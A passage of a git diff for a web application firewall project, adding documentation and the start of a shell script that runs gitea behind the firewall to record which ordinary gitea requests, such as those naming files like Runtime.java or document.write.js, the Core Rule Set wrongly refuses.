++++++++++++++++++++++++++++++++++++++++++ 4 files changed, 414 insertions(+), 6 deletions(-) create mode 100755 script/gitea-requests diff --git a/Makefile b/Makefile index 6f3d484..2439e93 100644 --- a/Makefile +++ b/Makefile @@ -1,11 +1,12 @@ .PHONY: bootstrap setup test lint fmt fmt-check tidy check docker hooks build \ - run example-app + run example-app gitea-requests # Makefile targets are thin shims; the implementations live in script/ # per the scripts-to-rule-them-all pattern (see the Entrypoints section # of README.md). tidy writes go.mod and go.sum as `go mod tidy` does, # which test checks. build and run are for working on the code by hand; -# example-app checks the image with an app built on it. +# example-app checks the image with an app built on it; gitea-requests +# reports the gitea requests the Core Rule Set refuses at the defaults. bootstrap: @script/bootstrap @@ -45,3 +46,6 @@ run: example-app: @script/example-app + +gitea-requests: + @script/gitea-requests diff --git a/README.md b/README.md index 3d706dc..ba6142e 100644 --- a/README.md +++ b/README.md @@ -2374,6 +2374,27 @@ so that they run in minimal containers. the same volume still refuses the banned client; then removes the containers, the volume and both images. It needs network access, for nixpkgs' binary cache, and `script/check` does not run it; `make example-app` does. +- `script/gitea-requests`: builds the image and runs gitea 1.27.3 behind it, + with every setting of `smallwebwaf` at its default but `SWWAF_UPSTREAM_URL`, + which names gitea's container. Of the requests that three of the notes + specific to gitea in [`SPEC.md`](SPEC.md) say are refused, it sends through + it: for each file the note on a file name in a query parameter names, the + API's list of its commits; for `Runtime.java` alone, the commit graph of that + file, the hidden lines of its diff and the API's call for the contents of + files that names it; the sign-in page gitea sends a visitor to on the way to + the edit page of `document.write.js`; the pages of `java.lang.String.md`, + `META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts` + and `.../notes.txt`; and one container image push that reuses a layer. It does + not send the raw file, history, blame or edit page of those four files, the + pages of the directories `META-INF/services` and `...`, or the push again. It + also sends a short sample of gitea's ordinary use: signing in, pages of files + and commits, a diff, the API, a push, clone and fetch over HTTP, and two + container image pushes. It prints a line for each request `smallwebwaf` + logged, with what it did with it and the ids of the Core Rule Set's rules that + matched it, then removes the containers, the network and the images it made, + but gitea's own image. It needs network access, and a docker daemon that + pushes to a registry on `localhost` over plain HTTP, as docker does by + default; `script/check` does not run it, and `make gitea-requests` does. ## TODO diff --git a/SPEC.md b/SPEC.md index c6e8fb3..cd190a4 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1477,8 +1477,47 @@ holds any token file. Saving such a rule stores it, but the branch settings page gitea then returns to gets the 403 answer of `smallwebwaf`, so the save looks as if it failed. + - A file name in a query parameter, those the fourth change leaves out + of 930120, 932160 and 932260 included, in which the Core Rule Set's + rules for Java, script, PowerShell and SQL find what they look for: + `runtime` in OpenJDK's + `src/java.base/share/classes/java/lang/Runtime.java` (944110), a Java + class, as in `java.lang.String.md` (944130), `document.write.js` + (941180), `process.env.d.ts` (934100), `__proto__` (934130), the + PowerShell command `Install-Script`, as in `install-script.sh` + (932120), or a database's name, as in PostgreSQL's + `information_schema.sql` (942140). For such a file, the API's list of + its commits (`path`) is refused, and so are the API's call for the + contents of files that names it in its query (`body`), the commit + graph of that file alone (`file`), and the hidden lines of its diff + (`path`), which stay hidden. A visitor whom gitea sends to sign in on + the way to a page of such a file that needs signing in, such as its + edit page, gets the 403 answer of `smallwebwaf` in place of the + sign-in page (`redirect_to`), and can still sign in by opening the + sign-in page itself. - A path: a file name ending in `~`, or an `.xhtml` file whose path holds a space. + - A path that holds what the Core Rule Set takes for a Java class + (944130), as `java.lang.String.md` and + `META-INF/services/org.apache.commons.logging.LogFactory` do, or for + Node.js code (934100), as `process.env.d.ts` does, or that has a + directory named `...` (930100, 930110), such as `.../notes.txt`. The + page of such a file, its raw file, its history, its blame and its edit + page are refused; the directory that holds it lists it, and a clone + carries it. + - A container image push that reuses a layer of an image docker has + pushed to that gitea before, when that image's owner, or its name + after the owner, starts with an entry on the list of commands + (932260), such as `owner/python3-app`, `owner/docker-base` or any + image of an owner named `ansible` or `docker-team`. docker asks gitea + to take the layer from that image, naming it in the query parameter + `from`, which 932260 checks, and gets the 403 answer of `smallwebwaf`. + A docker that keeps its images in containerd's image store, as a new + install of Docker Engine 29 does, then fails the push, and fails each + new try the same way. A docker that keeps them in its own older image + store uploads the layer instead, so the push succeeds after one + refusal for each layer it reuses, and each of those refusals counts + toward the error burst. - Artifact uploads from `actions/upload-artifact@v3` send the header `Content-Range`, which the Core Rule Set refuses (920450). The action sends two files at a time, does not retry a 403 and sends no further file @@ -1566,10 +1605,19 @@ holds any token file. - Core Rule Set false positives against real apps (a search for code, and any body once `SWWAF_WAF_BODY_LIMIT` is set): a match refuses only that request and bans no one by itself; the request log names the rule, and exclusions by - rule id and path fix it. Further gitea requests the Core Rule Set may refuse - at the defaults, found by reading gitea's source rather than a running gitea, - are collected in https://git.eeqj.de/sneak/smallwebwaf/issues/30 and checked - when milestone 1 runs in front of a real gitea. + rule id and path fix it. `script/gitea-requests` runs gitea behind the image + at the defaults and sends through it a short sample of gitea's ordinary use + and some of the requests that three of the notes specific to gitea say are + refused: for each file the note on a file name in a query parameter names, the + API's list of its commits; for `Runtime.java` alone, the commit graph of that + file, the hidden lines of its diff and the API's call for the contents of + files that names it; the sign-in page gitea sends a visitor to on the way to + the edit page of `document.write.js`; the pages of `java.lang.String.md`, + `META-INF/services/org.apache.commons.logging.LogFactory`, `process.env.d.ts` + and `.../notes.txt`; and one container image push that reuses a layer, which + it does not try again. It reports each request the Core Rule Set refuses, so + that those requests can be checked again when gitea or the Core Rule Set + changes version. - Attacks carried in request bodies: not refused by default, since on a code forge bodies are full of code the Core Rule Set takes for attacks. Most of what shows in URLs and headers is still refused, the client that sends an diff --git a/script/gitea-requests b/script/gitea-requests new file mode 100755 index 0000000..900e677 --- /dev/null +++ b/script/gitea-requests @@ -0,0 +1,335 @@ +#!/bin/sh +# script/gitea-requests: build the image and run gitea 1.27.3 behind it, +# with every setting of smallwebwaf at its default but SWWAF_UPSTREAM_URL, +# which names gitea's container. Then send through it the gitea requests +# that reading gitea's source found the Core Rule Set refuses, and a short +# sample of gitea's ordinary use: signing in, pages of files and commits, +# a diff, the API, a push, clone and fetch over HTTP, and two container +# image pushes. Last, print each request smallwebwaf logged, with what it +# did with it and the ids of the Core Rule Set's rules that matched it. +# Every request comes from one client, docker's gateway, so more than +# SWWAF_ERROR_BURST_THRESHOLD, 30, refusals in a minute would ban it, and +# the requests after would show as banned. The containers, the network, +# the images and the files the script makes are removed however it ends; +# gitea's own image stays, as the base images of a build do. It needs +# network access, and a docker daemon that pushes to a registry on +# localhost over plain HTTP, as docker does by default. script/check does +# not run this. +set -eu + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)" +ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)" + +# gitea 1.27.3, 2026-08-29 +GITEA_IMAGE="gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef" + +# Named after this run, so that runs in other clones on the same host +# never touch each other's. +NAME="$("$SCRIPT_DIR/projectname")-gitea-$$" +IMAGE="$NAME-image" +NETWORK="$NAME" +SMALLWEBWAF="$NAME-smallwebwaf" +GITEA="$NAME-gitea" + +# gitea's one user, who owns the repository and the container images. +PASSWORD="owner-password" + +BROWSER="Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0" + +# The files the script makes, and smallwebwaf's address once it runs, +# localhost and the port docker publishes it on: a host name, since the +# Core Rule Set takes a Host that is an IP address for a warning (920350). +WORK="" +address="" + +cleanup() { + # So that a signal cannot stop it partway through. + trap '' HUP INT TERM + docker rm --force --volumes "$SMALLWEBWAF" "$GITEA" >/dev/null 2>&1 || true + docker network rm "$NETWORK" >/dev/null 2>&1 || true + docker rmi --force "$IMAGE" >/dev/null 2>&1 || true + if [ -n "$address" ]; then + docker rmi --force "$address/owner/python3-app:1" "$address/owner/app:1" \ + >/dev/null 2>&1 || true + fi + rm -rf "$WORK" +} + +fail() { + echo "gitea-requests: $*" >&2 + report + exit 1 +} + +# wait_for ...: run the command every second until +# it succeeds, for at most a minute. +wait_for() { + failure="$1" + shift + tries=0 + until "$@"; do + tries=$((tries + 1)) + [ "$tries" -lt 60 ] || fail "$failure" + sleep 1 + done +} + +healthy() { + status="$(docker inspect --format '{{.State.Health.Status}}' "$SMALLWEBWAF")" + [ "$status" = healthy ] +} + +# logged ...: a line of smallwebwaf's output holds every text, in +# any order. +logged() { + lines="$(docker logs "$SMALLWEBWAF" 2>&1)" + for text in "$@"; do + lines="$(printf '%s\n' "$lines" | grep -F "$text")" || return 1 + done +} + +# send